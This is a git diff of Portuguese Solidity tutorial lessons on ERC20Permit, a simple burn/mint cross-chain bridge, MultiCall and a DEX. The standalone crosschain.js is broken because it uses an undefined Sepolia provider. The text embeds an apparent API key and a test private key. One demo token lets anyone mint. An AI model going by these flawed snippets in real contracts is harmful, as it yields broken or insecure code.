Contrato ERC20Permit + +A seguir, vamos escrever um contrato simples de ERC20Permit que implementa todas as funções definidas na interface IERC20Permit. O contrato possui 2 variáveis de estado: + +- `_nonces`: um mapeamento de `address` para `uint` que registra o nonce atual de cada usuário. +- `_PERMIT_TYPEHASH`: uma constante que armazena o hash do tipo da função `permit()`. + +O contrato possui 5 funções: + +- Construtor: inicializa o nome e o símbolo do token. +- **`permit()`**: a função principal do ERC20Permit, que implementa o `permit()` da interface IERC20Permit. Ela verifica se a assinatura está atualizada, reconstrói a mensagem da assinatura usando `_PERMIT_TYPEHASH`, `owner`, `spender`, `value`, `nonce` e `deadline` e verifica se a assinatura é válida. Se a assinatura for válida, a função `approve()` do ERC20 é chamada para a ação de autorização. +- `nonces()`: implementa a função `nonces()` da interface IERC20Permit. +- `DOMAIN_SEPARATOR()`: implementa a função `DOMAIN_SEPARATOR()` da interface IERC20Permit. +- `_useNonce()`: uma função para consumir o `nonce`, retornar o nonce atual do usuário e incrementar em 1. + +```solidity +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./IERC20Permit.sol"; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; +import "@openzeppelin/contracts/utils/cryptography/EIP712.sol"; + +/** + * @dev Interface para a extensão ERC20 Permit, permitindo autorizações por assinatura, conforme definido no https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + * + * Adiciona o método {permit}, que permite que as autorizações de saldo ERC20 de um proprietário sejam modificadas através de mensagens assinadas (veja {IERC20-allowance}). Não é necessário que o proprietário do token envie transações, pois as autorizações podem ser feitas sem a necessidade de ETH. + */ +contract ERC20Permit is ERC20, IERC20Permit, EIP712 { + mapping(address => uint) private _nonces; + + bytes32 private constant _PERMIT_TYPEHASH = + keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); + + /** + * @dev Inicializa o EIP712 com o nome e o ERC20 com o nome e o símbolo. + */ + constructor(string memory name, string memory symbol) EIP712(name, "1") ERC20(name, symbol){} + + /** + * @dev Veja {IERC20Permit-permit}. + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) public virtual override { + // Verifica o prazo limite + require(block.timestamp <= deadline, "ERC20Permit: prazo expirado"); + + // Concatena o Hash + bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); + bytes32 hash = _hashTypedDataV4(structHash); + + // Calcula e verifica a assinatura + address signer = ECDSA.recover(hash, v, r, s); + require(signer == owner, "ERC20Permit: assinatura inválida"); + + // Realiza a autorização + _approve(owner, spender, value); + } + + /** + * @dev Veja {IERC20Permit-nonces}. + */ + function nonces(address owner) public view virtual override returns (uint256) { + return _nonces[owner]; + } + + /** + * @dev Veja {IERC20Permit-DOMAIN_SEPARATOR}. + */ + function DOMAIN_SEPARATOR() external view override returns (bytes32) { + return _domainSeparatorV4(); + } + + /** + * @dev "Consome nonce": retorna o `nonce` atual do `owner` e o incrementa em 1. + */ + function _useNonce(address owner) internal virtual returns (uint256 current) { + current = _nonces[owner]; + _nonces[owner] += 1; + } +} +``` + +## Replica no Remix + +1. Implante o contrato `ERC20Permit` com os valores `name` e `symbol` definidos como `WTFPermit`. + +2. Execute o arquivo `signERC20Permit.html`, altere o `Contract Address` para o endereço do contrato `ERC20Permit` implantado e forneça as outras informações conforme indicado. Em seguida, clique em `Connect Metamask` e depois em `Sign Permit` para assinar e obter os valores `r`, `s` e `v` para a verificação no contrato. A assinatura deve ser realizada com a carteira conectada no ambiente de desenvolvimento, como a carteira no Remix. + + ```js + owner: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 spender: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 + value: 100 + deadline: 115792089237316195423570985008687907853269984665640564039457584007913129639935 + private_key: 503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb + ``` + +3. Chame a função `permit()` do contrato com os parâmetros apropriados para realizar a autorização. + +4. Chame a função `allance()` do contrato com os endereços `owner` e `spender` corretos para verificar a autorização. + +## Considerações de Segurança + +O uso do ERC20Permit para autorizações através de assinaturas traz conveniência aos usuários, mas também traz riscos. Alguns hackers podem explorar essa funcionalidade para realizar ataques de phishing, enganando os usuários a assinar transações e roubar seus ativos. Em abril de 2023, um ataque de phishing direcionado ao USDC resultou na perda de 228 mil unidades para um usuário. + +**Ao assinar, é fundamental ler atentamente o conteúdo a ser assinado!** + +## Conclusão + +Nesta aula, exploramos o ERC20Permit, uma extensão do padrão ERC20 que permite que as autorizações sejam feitas por meio de assinaturas, melhorando a experiência do usuário e sendo adotada por diversos projetos. No entanto, essa funcionalidade também traz um risco maior, pois uma única assinatura pode permitir o roubo de ativos. Portanto, é essencial ser extremamente cuidadoso ao assinar mensagens. + diff --git a/Languages/pt-br/53_ERC20Permit/signERC20Permit.html b/Languages/pt-br/53_ERC20Permit/signERC20Permit.html new file mode 100644 index 000000000..d82a55056 --- /dev/null +++ b/Languages/pt-br/53_ERC20Permit/signERC20Permit.html @@ -0,0 +1,140 @@ + + + + + + ERC20Permit Signature Example + + +

ERC20Permit Signature Example

+ + + +
+ + +
+ + +
+ + +
+ + +
+ + +
+ + +
+ + +
+

+  
+  
钱包地址:
+
ChainID:
+
ETH 余额:
+
签名数据:
+
v:
+
r:
+
s:
+ + + + diff --git a/Languages/pt-br/54_CrossChainBridge/CrosschainERC20.sol b/Languages/pt-br/54_CrossChainBridge/CrosschainERC20.sol new file mode 100644 index 000000000..43cfad040 --- /dev/null +++ b/Languages/pt-br/54_CrossChainBridge/CrosschainERC20.sol @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract CrossChainToken is ERC20, Ownable { + + // Evento de Ponte + event Bridge(address indexed user, uint256 amount); + // Evento Mint + event Mint(address indexed to, uint256 amount); + + /** + * @param name Nome do Token + * @param symbol Símbolo do Token + * @param totalSupply Suprimento do Token + */ + constructor( + string memory name, + string memory symbol, + uint256 totalSupply + ) payable ERC20(name, symbol) { + _mint(msg.sender, totalSupply); + } + + /** + * Função de ponte + * @param amount: quantidade de tokens a serem queimados na cadeia atual e criados na outra cadeia + */ + function bridge(uint256 amount) public { + _burn(msg.sender, amount); + emit Bridge(msg.sender, amount); + } + + /** + * Função de criação + */ + function mint(address to, uint amount) external onlyOwner { + _mint(to, amount); + emit Mint(to, amount); + } +} + diff --git a/Languages/pt-br/54_CrossChainBridge/crosschain.js b/Languages/pt-br/54_CrossChainBridge/crosschain.js new file mode 100644 index 000000000..c6a1d8087 --- /dev/null +++ b/Languages/pt-br/54_CrossChainBridge/crosschain.js @@ -0,0 +1,59 @@ +import { ethers } from "ethers"; + +// Inicializando os provedores das duas cadeias +const providerGoerli = new ethers.JsonRpcProvider("Goerli_Provider_URL"); +//eth-sepolia.g.alchemy.com/v2/RgxsjQdKTawszh80TpJ-14Y8tY7cx5W2"); + +// Inicializando os signatários das duas cadeias +// privateKey preencha com a chave privada da carteira do administrador +const privateKey = "Your_Key"; +const walletGoerli = new ethers.Wallet(privateKey, providerGoerli); +const walletSepolia = new ethers.Wallet(privateKey, providerSepolia); + +// Endereço do contrato e ABI +const contractAddressGoerli = "0xa2950F56e2Ca63bCdbA422c8d8EF9fC19bcF20DD"; +const contractAddressSepolia = "0xad20993E1709ed13790b321bbeb0752E50b8Ce69"; + +const abi = [ + "event Bridge(address indexed user, uint256 amount)", + "function bridge(uint256 amount) public", + "function mint(address to, uint amount) external", +]; + +// Inicializando a instância do contrato +const contractGoerli = new ethers.Contract(contractAddressGoerli, abi, walletGoerli); +const contractSepolia = new ethers.Contract(contractAddressSepolia, abi, walletSepolia); + +const main = async () => { + try{ + console.log(`Começando a ouvir eventos de interconexão`) + + // Ouvir eventos de ponte do Chain Sepolia e executar a operação de mint no Goerli para concluir a transferência entre cadeias. + contractSepolia.on("Bridge", async (user, amount) => { + console.log(`Evento de ponte na Chain Sepolia: Usuário ${user} queimou ${amount} tokens`) + + // Ao executar a operação de queima + let tx = await contractGoerli.mint(user, amount); + await tx.wait(); + + console.log(`Cunhou ${amount} tokens para ${user} na Chain Goerli`) + }); + + // Ouvir eventos de ponte do Chain Sepolia e executar a operação de mint no Goerli para concluir a transferência entre cadeias. + contractGoerli.on("Bridge", async (user, amount) => { + console.log(`Evento de ponte na Chain Goerli: Usuário ${user} queimou ${amount} tokens`) + + // Ao executar a operação de queima + let tx = await contractSepolia.mint(user, amount); + await tx.wait(); + + console.log(`Cunhou ${amount} tokens para ${user} na Chain Sepolia`) + }); + + }catch(e){ + console.log(e) + + } +} + +main(); \ No newline at end of file diff --git a/Languages/pt-br/54_CrossChainBridge/img/54-1.png b/Languages/pt-br/54_CrossChainBridge/img/54-1.png new file mode 100644 index 000000000..17da1d2e2 Binary files /dev/null and b/Languages/pt-br/54_CrossChainBridge/img/54-1.png differ diff --git a/Languages/pt-br/54_CrossChainBridge/img/54-2.png b/Languages/pt-br/54_CrossChainBridge/img/54-2.png new file mode 100644 index 000000000..ab716afdf Binary files /dev/null and b/Languages/pt-br/54_CrossChainBridge/img/54-2.png differ diff --git a/Languages/pt-br/54_CrossChainBridge/img/54-3.png b/Languages/pt-br/54_CrossChainBridge/img/54-3.png new file mode 100644 index 000000000..64e01f618 Binary files /dev/null and b/Languages/pt-br/54_CrossChainBridge/img/54-3.png differ diff --git a/Languages/pt-br/54_CrossChainBridge/img/54-4.png b/Languages/pt-br/54_CrossChainBridge/img/54-4.png new file mode 100644 index 000000000..228de15fc Binary files /dev/null and b/Languages/pt-br/54_CrossChainBridge/img/54-4.png differ diff --git a/Languages/pt-br/54_CrossChainBridge/img/54-5.png b/Languages/pt-br/54_CrossChainBridge/img/54-5.png new file mode 100644 index 000000000..189cde78f Binary files /dev/null and b/Languages/pt-br/54_CrossChainBridge/img/54-5.png differ diff --git a/Languages/pt-br/54_CrossChainBridge/img/54-6.png b/Languages/pt-br/54_CrossChainBridge/img/54-6.png new file mode 100644 index 000000000..6b853510f Binary files /dev/null and b/Languages/pt-br/54_CrossChainBridge/img/54-6.png differ diff --git a/Languages/pt-br/54_CrossChainBridge/img/54-7.png b/Languages/pt-br/54_CrossChainBridge/img/54-7.png new file mode 100644 index 000000000..437850cbf Binary files /dev/null and b/Languages/pt-br/54_CrossChainBridge/img/54-7.png differ diff --git a/Languages/pt-br/54_CrossChainBridge/img/54-8.png b/Languages/pt-br/54_CrossChainBridge/img/54-8.png new file mode 100644 index 000000000..c03a92f0a Binary files /dev/null and b/Languages/pt-br/54_CrossChainBridge/img/54-8.png differ diff --git a/Languages/pt-br/54_CrossChainBridge/readme.md b/Languages/pt-br/54_CrossChainBridge/readme.md new file mode 100644 index 000000000..4c60d618a --- /dev/null +++ b/Languages/pt-br/54_CrossChainBridge/readme.md @@ -0,0 +1,200 @@ +--- +title: 54. Ponte de Cadeia Cruzada +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF Solidity Introdução Simples: 54. Ponte de Cadeia Cruzada + +Recentemente, tenho estudado solidity novamente para revisar os detalhes e escrever um "WTF Solidity Introdução Simples" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Site wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Nesta aula, vamos falar sobre pontes de cadeia cruzada, que são infraestruturas que permitem a transferência de ativos de uma blockchain para outra, e implementar uma ponte de cadeia cruzada simples. + + +## 1. O que é uma Ponte de Cadeia Cruzada + +Uma ponte de cadeia cruzada é um protocolo de blockchain que permite a movimentação de ativos digitais e informações entre duas ou mais blockchains. Por exemplo, um token ERC20 que está sendo executado na mainnet do Ethereum pode ser transferido para uma sidechain ou uma blockchain independente compatível com Ethereum usando uma ponte de cadeia cruzada. + +No entanto, as pontes de cadeia cruzada não são nativamente suportadas pelas blockchains e exigem a intervenção de terceiros confiáveis para executar as operações de cadeia cruzada, o que também traz riscos. Nos últimos dois anos, ataques a pontes de cadeia cruzada resultaram em perdas de ativos de usuários no valor de mais de **2 bilhões de dólares**. + +## 2. Tipos de Pontes de Cadeia Cruzada + +Existem principalmente três tipos de pontes de cadeia cruzada: + +- **Burn/Mint** (Queimar/Cunhar): Nesse método, os tokens são queimados (burn) na cadeia de origem e, em seguida, uma quantidade equivalente de tokens é cunhada (mint) na cadeia de destino. A vantagem desse método é que o suprimento total de tokens permanece o mesmo, mas a ponte de cadeia cruzada precisa ter permissão para cunhar os tokens, o que é adequado para projetos que desejam construir sua própria ponte de cadeia cruzada. + + ![](./img/54-1.png) + +- **Stake/Mint** (Bloquear/Cunhar): Nesse método, os tokens são bloqueados (stake) na cadeia de origem e, em seguida, uma quantidade equivalente de tokens (certificados) é cunhada (mint) na cadeia de destino. Os tokens na cadeia de origem são desbloqueados quando os tokens são movidos de volta para a cadeia de origem. Esse é o método mais comum usado pelas pontes de cadeia cruzada, pois não requer nenhuma permissão, mas também apresenta riscos. Se os ativos na cadeia de origem forem atacados por hackers, os certificados na cadeia de destino se tornarão inúteis. + + ![](./img/54-2.png) + +- **Stake/Unstake** (Bloquear/Desbloquear): Nesse método, os tokens são bloqueados (stake) na cadeia de origem e, em seguida, uma quantidade equivalente de tokens é desbloqueada (unstake) na cadeia de destino. Os tokens na cadeia de destino podem ser trocados de volta para os tokens na cadeia de origem a qualquer momento. Esse método requer que a ponte de cadeia cruzada tenha tokens bloqueados em ambas as cadeias, o que é mais complexo e geralmente requer incentivos para os usuários bloquearem seus tokens na ponte de cadeia cruzada. + + ![](./img/54-3.png) + +## 3. Construindo uma Ponte de Cadeia Cruzada Simples + +Para entender melhor como uma ponte de cadeia cruzada funciona, vamos construir uma ponte de cadeia cruzada simples e implementar a transferência de tokens ERC20 entre a rede de teste Goerli e a rede de teste Sepolia. Usaremos o método burn/mint, em que os tokens na cadeia de origem são queimados e cunhados na cadeia de destino. Essa ponte de cadeia cruzada consiste em um contrato inteligente (implantado em ambas as cadeias) e um script Ethers.js. + +> **Observe** que esta é uma implementação muito simples de uma ponte de cadeia cruzada e é apenas para fins educacionais. Ela não lida com problemas como falhas de transação, reorganização de cadeias, etc. Em um ambiente de produção, é recomendável usar soluções de ponte de cadeia cruzada profissionais ou frameworks que tenham sido amplamente testados e auditados. + +### 3.1 Contrato de Token de Cadeia Cruzada + +Primeiro, precisamos implantar um contrato ERC20 chamado `CrossChainToken` nas redes de teste Goerli e Sepolia. Esse contrato define o nome, símbolo e fornecimento total do token, além de uma função `bridge()` para a transferência de cadeia cruzada. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract CrossChainToken is ERC20, Ownable { + + // Evento Bridge + event Bridge(address indexed user, uint256 amount); + // Evento Mint + event Mint(address indexed to, uint256 amount); + + /** + * @param name Nome do Token + * @param symbol Símbolo do Token + * @param totalSupply Fornecimento Total do Token + */ + constructor( + string memory name, + string memory symbol, + uint256 totalSupply + ) payable ERC20(name, symbol) { + _mint(msg.sender, totalSupply); + } + + /** + * Função Bridge + * @param amount: quantidade de tokens a serem queimados na cadeia atual e cunhados na outra cadeia + */ + function bridge(uint256 amount) public { + _burn(msg.sender, amount); + emit Bridge(msg.sender, amount); + } + + /** + * Função Mint + */ + function mint(address to, uint amount) external onlyOwner { + _mint(to, amount); + emit Mint(to, amount); + } +} +``` + +Este contrato possui três funções principais: + +- `constructor()`: O construtor é chamado uma vez ao implantar o contrato e é usado para inicializar o nome, símbolo e fornecimento total do token. + +- `bridge()`: Os usuários chamam essa função para realizar a transferência de cadeia cruzada. Ela queima a quantidade especificada de tokens do usuário e emite o evento `Bridge`. + +- `mint()`: Somente o proprietário do contrato pode chamar essa função, que lida com o evento de cadeia cruzada e emite o evento `Mint`. Quando um usuário chama a função `bridge()` na outra cadeia para queimar tokens, o script ouve o evento `Bridge` e cunha os tokens para o usuário na cadeia de destino. + +### 3.2 Script de Cadeia Cruzada + +Agora que temos o contrato de token, precisamos de um servidor para lidar com os eventos de cadeia cruzada. Podemos escrever um script Ethers.js (versão 6) para ouvir o evento `Bridge` e, quando esse evento for acionado, cunhar a mesma quantidade de tokens na cadeia de destino. Se você não está familiarizado com o Ethers.js, pode ler o [WTF Ethers Tutorial](https://github.com/WTFAcademy/WTF-Ethers). + +```javascript +import { ethers } from "ethers"; + +// Inicializando os provedores das duas cadeias +const providerGoerli = new ethers.JsonRpcProvider("Goerli_Provider_URL"); +const providerSepolia = new ethers.JsonRpcProvider("Sepolia_Provider_URL://eth-sepolia.g.alchemy.com/v2/RgxsjQdKTawszh80TpJ-14Y8tY7cx5W2"); + +// Inicializando os signatários das duas cadeias +// Preencha privateKey com a chave privada da carteira do administrador +const privateKey = "Your_Key"; +const walletGoerli = new ethers.Wallet(privateKey, providerGoerli); +const walletSepolia = new ethers.Wallet(privateKey, providerSepolia); + +// Endereços e ABI do contrato +const contractAddressGoerli = "0xa2950F56e2Ca63bCdbA422c8d8EF9fC19bcF20DD"; +const contractAddressSepolia = "0xad20993E1709ed13790b321bbeb0752E50b8Ce69"; + +const abi = [ + "event Bridge(address indexed user, uint256 amount)", + "function bridge(uint256 amount) public", + "function mint(address to, uint amount) external", +]; + +// Inicializando as instâncias do contrato +const contractGoerli = new ethers.Contract(contractAddressGoerli, abi, walletGoerli); +const contractSepolia = new ethers.Contract(contractAddressSepolia, abi, walletSepolia); + +const main = async () => { + try{ + console.log(`Iniciando a escuta de eventos de cadeia cruzada`) + + // Ouvindo o evento Bridge na cadeia Sepolia e cunhando tokens na cadeia Goerli + contractSepolia.on("Bridge", async (user, amount) => { + console.log(`Evento Bridge na cadeia Sepolia: Usuário ${user} queimou ${amount} tokens`); + + // Executando a queima + let tx = await contractGoerli.mint(user, amount); + await tx.wait(); + + console.log(`Cunhados ${amount} tokens para ${user} na cadeia Goerli`); + }); + + // Ouvindo o evento Bridge na cadeia Goerli e cunhando tokens na cadeia Sepolia + contractGoerli.on("Bridge", async (user, amount) => { + console.log(`Evento Bridge na cadeia Goerli: Usuário ${user} queimou ${amount} tokens`); + + // Executando a queima + let tx = await contractSepolia.mint(user, amount); + await tx.wait(); + + console.log(`Cunhados ${amount} tokens para ${user} na cadeia Sepolia`); + }); + + }catch(e){ + console.log(e); + + } +} + +main(); +``` + +## Reproduzindo no Remix + +1. Implante o contrato `CrossChainToken` nas redes de teste Goerli e Sepolia. O contrato irá automaticamente cunhar 10000 tokens para nós. + + ![](./img/54-4.png) + +2. Preencha as URLs dos nós RPC e a chave privada do administrador no script de cadeia cruzada `crosschain.js`. Insira os endereços dos contratos de token implantados no Goerli e Sepolia nos locais apropriados e execute o script. + +3. Chame a função `bridge()` do contrato de token na cadeia Goerli para transferir 100 tokens de cadeia cruzada. + + ![](./img/54-6.png) + +4. O script ouvirá o evento de cadeia cruzada e cunhará 100 tokens na cadeia Sepolia. + + ![](./img/54-7.png) + +5. Consulte o saldo na cadeia Sepolia usando a função `balance()` e você verá que o saldo de tokens aumentou para 10100. A transferência de cadeia cruzada foi concluída com sucesso! + + ![](./img/54-8.png) + +## Conclusão + +Nesta aula, falamos sobre pontes de cadeia cruzada, que permitem a transferência de ativos digitais e informações entre duas ou mais blockchains, facilitando a operação de ativos em várias cadeias. No entanto, também apresentam riscos significativos, com ataques a pontes de cadeia cruzada resultando em perdas de ativos de usuários no valor de mais de **2 bilhões de dólares** nos últimos dois anos. Neste tutorial, construímos uma ponte de cadeia cruzada simples e implementamos a transferência de tokens ERC20 entre a rede de teste Goerli e a rede de teste Sepolia. Espero que este tutorial tenha ajudado você a entender melhor as pontes de cadeia cruzada. + diff --git a/Languages/pt-br/55_MultiCall/MCERC20.sol b/Languages/pt-br/55_MultiCall/MCERC20.sol new file mode 100644 index 000000000..3da8a9c69 --- /dev/null +++ b/Languages/pt-br/55_MultiCall/MCERC20.sol @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract MCERC20 is ERC20{ + constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){} + + function mint(address to, uint amount) external { + _mint(to, amount); + } +} \ No newline at end of file diff --git a/Languages/pt-br/55_MultiCall/MultiCall.sol b/Languages/pt-br/55_MultiCall/MultiCall.sol new file mode 100644 index 000000000..7baf94f9e --- /dev/null +++ b/Languages/pt-br/55_MultiCall/MultiCall.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +contract Multicall { + // Estrutura Call, contendo o contrato alvo (target), se é permitido falha na chamada (allowFailure) e os dados da chamada (call data) + struct Call { + address target; + bool allowFailure; + bytes callData; + } + + // Estrutura de dados Result, contendo se a chamada foi bem sucedida e os dados de retorno + struct Result { + bool success; + bytes returnData; + } + + /// @notice Combina várias chamadas (suportando contratos diferentes/métodos diferentes/parâmetros diferentes) em uma única chamada. + /// @param calls Array of structures Call + /// @return returnData Array of Result structures + function multicall(Call[] calldata calls) public returns (Result[] memory returnData) { + uint256 length = calls.length; + returnData = new Result[](length); + Call calldata calli; + + // No loop, no translation needed. + for (uint256 i = 0; i < length; i++) { + Result memory result = returnData[i]; + calli = calls[i]; + (result.success, result.returnData) = calli.target.call(calli.callData); + // Se calli.allowFailure e result.success forem ambos falsos, reverta + if (!(calli.allowFailure || result.success)){ + revert("Multicall: call failed"); + } + } + } +} \ No newline at end of file diff --git a/Languages/pt-br/55_MultiCall/img/55-1.png b/Languages/pt-br/55_MultiCall/img/55-1.png new file mode 100644 index 000000000..cc5424e37 Binary files /dev/null and b/Languages/pt-br/55_MultiCall/img/55-1.png differ diff --git a/Languages/pt-br/55_MultiCall/img/55-2.png b/Languages/pt-br/55_MultiCall/img/55-2.png new file mode 100644 index 000000000..475f2c9ab Binary files /dev/null and b/Languages/pt-br/55_MultiCall/img/55-2.png differ diff --git a/Languages/pt-br/55_MultiCall/readme.md b/Languages/pt-br/55_MultiCall/readme.md new file mode 100644 index 000000000..7ac55f7b5 --- /dev/null +++ b/Languages/pt-br/55_MultiCall/readme.md @@ -0,0 +1,131 @@ +--- +title: 55. Chamada Múltipla +tags: + - solidity + - erc20 +--- + +# WTF Solidity Simplificado: 55. Chamada Múltipla + +Recentemente, tenho estudado solidity novamente para revisar os detalhes e escrever um guia simplificado de "WTF Solidity" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão publicadas de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Nesta lição, vamos falar sobre o contrato MultiCall, que tem como objetivo executar várias chamadas de função em uma única transação, reduzindo significativamente as taxas e aumentando a eficiência. + +## MultiCall + +Em Solidity, o contrato MultiCall permite que executemos várias chamadas de função em uma única transação. Suas vantagens são as seguintes: + +1. Conveniência: Com o MultiCall, você pode chamar diferentes funções de diferentes contratos em uma única transação, usando diferentes parâmetros para cada chamada. Por exemplo, você pode consultar o saldo de várias contas de tokens ERC20 de uma só vez. + +2. Economia de gás: O MultiCall permite combinar várias transações em uma única transação com várias chamadas, economizando gás. + +3. Atomicidade: O MultiCall permite que o usuário execute todas as operações em uma única transação, garantindo que todas as operações sejam bem-sucedidas ou todas falhem, mantendo a atomicidade. Por exemplo, você pode realizar uma série de transações de tokens em uma ordem específica. + +## Contrato MultiCall + +Agora vamos estudar o contrato MultiCall, que é uma versão simplificada do contrato MultiCall da MakerDAO [MultiCall](https://github.com/mds1/multicall/blob/main/src/Multicall3.sol). + +O contrato MultiCall define duas estruturas: + +- `Call`: Esta é uma estrutura de chamada que contém o contrato de destino a ser chamado `target`, uma flag indicando se a chamada pode falhar `allowFailure` e os dados da chamada `callData`. + +- `Result`: Esta é uma estrutura de resultado que contém uma flag indicando se a chamada foi bem-sucedida `success` e os dados de retorno da chamada `returnData`. + +O contrato contém apenas uma função para executar chamadas múltiplas: + +- `multicall()`: Esta função recebe um array de estruturas Call como parâmetro, garantindo que o tamanho dos targets e callData sejam iguais. A função executa as chamadas em um loop e reverte a transação se alguma chamada falhar. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +contract Multicall { + // Estrutura Call, contendo o contrato de destino target, a flag allowFailure e os dados da chamada callData + struct Call { + address target; + bool allowFailure; + bytes callData; + } + + // Estrutura Result, contendo a flag success e os dados de retorno da chamada returnData + struct Result { + bool success; + bytes returnData; + } + + /// @notice Combina várias chamadas (com diferentes contratos/métodos/parâmetros) em uma única chamada + /// @param calls Array de estruturas Call + /// @return returnData Array de estruturas Result + function multicall(Call[] calldata calls) public returns (Result[] memory returnData) { + uint256 length = calls.length; + returnData = new Result[](length); + Call calldata calli; + + // Executa as chamadas em um loop + for (uint256 i = 0; i < length; i++) { + Result memory result = returnData[i]; + calli = calls[i]; + (result.success, result.returnData) = calli.target.call(calli.callData); + // Se tanto calli.allowFailure quanto result.success forem falsos, reverte a transação + if (!(calli.allowFailure || result.success)){ + revert("Multicall: call failed"); + } + } + } +} +``` + +## Reproduzindo no Remix + +1. Primeiro, implantamos um contrato ERC20 muito simples chamado `MCERC20` e anotamos o endereço do contrato. + + ```solidity + // SPDX-License-Identifier: MIT + pragma solidity ^0.8.19; + import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + + contract MCERC20 is ERC20{ + constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){} + + function mint(address to, uint amount) external { + _mint(to, amount); + } + } + ``` + +2. Implantamos o contrato `MultiCall`. + +3. Obtemos os `calldata` para as chamadas. Vamos criar 50 e 100 unidades de tokens para dois endereços. Você pode preencher os parâmetros da função `mint()` na página de chamadas do Remix e clicar no botão **Calldata** para copiar o calldata codificado. Exemplo: + + ```solidity + to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + amount: 50 + calldata: 0x40c10f190000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000032 + ``` + + .[](./img/55-1.png) + + Se você não está familiarizado com `calldata`, pode ler a lição 29 do WTF Solidity. + +4. Usamos a função `multicall()` do contrato `MultiCall` para chamar a função `mint()` do contrato ERC20 e criar 50 e 100 unidades de tokens para dois endereços. Exemplo: + + ```solidity + calls: [["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", true, "0x40c10f190000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000032"], ["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", false, "0x40c10f19000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb20000000000000000000000000000000000000000000000000000000000000064"]] + ``` + +5. Usamos a função `multicall()` do contrato `MultiCall` para chamar a função `balanceOf()` do contrato ERC20 e verificar o saldo dos dois endereços que criamos tokens anteriormente. O seletor da função `balanceOf()` é `0x70a08231`. Exemplo: + + ```solidity + [["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", true, "0x70a082310000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4"], ["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", false, "0x70a08231000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb2"]] + ``` + + Você pode verificar os valores de retorno das chamadas na seção `decoded output`. Os saldos dos dois endereços são `0x000000000000000000000000000000000000000 + diff --git a/Languages/pt-br/56_DEX/SimpleSwap.sol b/Languages/pt-br/56_DEX/SimpleSwap.sol new file mode 100644 index 000000000..7b5a94506 --- /dev/null +++ b/Languages/pt-br/56_DEX/SimpleSwap.sol @@ -0,0 +1,157 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract SimpleSwap is ERC20 { + // Contrato de token + IERC20 public token0; + IERC20 public token1; + + // Reserva de tokens + uint public reserve0; + uint public reserve1; + + // Evento + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1); + event Swap( + address indexed sender, + uint amountIn, + address tokenIn, + uint amountOut, + address tokenOut + ); + + // Construtor, inicializa o endereço do token + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } + + // Pegue o valor mínimo entre dois números + function min(uint x, uint y) internal pure returns (uint z) { + z = x < y ? x : y; + } + + // Calcular a raiz quadrada pelo método babilônico (https://pt.wikipedia.org/wiki/M%C3%A9todos_de_c%C3%A1lculo_de_raiz_quadrada#M%C3%A9todo_babil%C3%B4nico) + function sqrt(uint y) internal pure returns (uint z) { + if (y > 3) { + z = y; + uint x = y / 2 + 1; + while (x < z) { + z = x; + x = (y / x + x) / 2; + } + } else if 